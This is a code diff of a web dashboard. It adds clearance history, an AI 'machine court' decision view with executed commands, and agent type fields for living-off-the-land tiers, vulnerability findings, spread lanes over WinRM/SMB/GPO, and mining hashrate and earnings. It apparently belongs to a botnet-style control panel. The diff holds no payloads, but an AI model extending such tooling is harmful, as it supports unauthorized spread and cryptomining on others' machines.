.getClearanceEvents(selectedAgent.id, 20) + .then((rows) => { + if (!cancelled) setClearanceEvents(rows ?? []); + }) + .catch(() => { + if (!cancelled) setClearanceEvents([]); + }); + return () => { + cancelled = true; + }; + }, [selectedAgent]); + const selectAgent = useCallback( (agentId: string) => { setSearchParams({ agent: agentId }, { replace: true }); @@ -88,6 +121,8 @@ export default function LotlTimelinePage() { selectedAgent, tierOrder, selectedAgent.lotl_attempts ?? [], + [], + selectedAgent.atlas_skips ?? [], ); }, [selectedAgent, tierOrder]); @@ -124,27 +159,81 @@ export default function LotlTimelinePage() {
) : timelineModel ? ( <> - + + + {clearanceEvents.length > 0 && ( +
+
CLEARANCE HISTORY
+
    + {clearanceEvents.map((ev) => ( +
  • {clearanceTimelineSummary(ev)}
    • + ))} +
+
+ )} {aiEnabled && lastDecision && ( -
-
LAST AI DECISION
- {lastDecision.response && ( -
{lastDecision.response}
+
+
+ {lastDecision.court_session ? 'SINGULAR MACHINE COURT' : 'LAST AI DECISION'} +
+ {lastDecision.court_session ? ( + <> + {lastDecision.prosecutor_snippet && ( +
+ Prosecutor +
{lastDecision.prosecutor_snippet}
+
+ )} + {lastDecision.defender_snippet && ( +
+ Defender +
{lastDecision.defender_snippet}
+
+ )} + {(lastDecision.judge_verdict || lastDecision.response) && ( +
+ Judge +
+ {lastDecision.judge_verdict || lastDecision.response} +
+
+ )} + + ) : ( + lastDecision.response && ( +
{lastDecision.response}
+ ) )} {lastDecision.commands && ( -
- {lastDecision.commands} -
+
{lastDecision.commands}
)} {lastDecision.ts && ( -
+
{new Date(lastDecision.ts).toLocaleString()}
)}
)} + {clearanceEvents.length > 0 && ( +
+
CLEARANCE EVENTS
+
    + {clearanceEvents.map((ev) => ( +
  • + {clearanceTimelineSummary(ev)} + {new Date(ev.ts).toLocaleString()} +
    • + ))} +
+
+ )} +

Data sources: Crucible →{' '} Access Depth panel diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 88b8ab4..9d727b4 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -98,12 +98,29 @@ export interface Agent { lotl_tier?: string; /** Per-tier attempt history from agent TierReport. */ lotl_attempts?: import('./lotl').TierAttempt[]; + /** Fleet failure atlas hard subtree skips. */ + atlas_skips?: { tier: string; condition: string; reason: string }[]; /** Read-only vuln probe findings (LOTL recon tier). */ vuln_findings?: import('./recon').VulnFinding[]; vuln_risk_score?: number; /** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */ join_lane?: string; + + /** Session security clearance L0–L4 (live from server). */ + clearance_level?: number; + + /** Cloned fleet phenotype from a sibling with the same host fingerprint. */ + inherited_phenotype?: InheritedPhenotype; +} + +export interface InheritedPhenotype { + source_agent_name: string; + fingerprint?: string; + spread_lane?: string; + tier_order?: string[]; + active_tier?: string; + peak_hashrate?: number; } export type { LOTLTier, TierAttempt, TierReport } from './lotl'; @@ -444,6 +461,10 @@ export interface AIDecisionRecord { response?: string; commands_executed?: string; ts?: string; + court_session?: boolean; + prosecutor_snippet?: string; + defender_snippet?: string; + judge_verdict?: string; } export interface EarningsEstimate {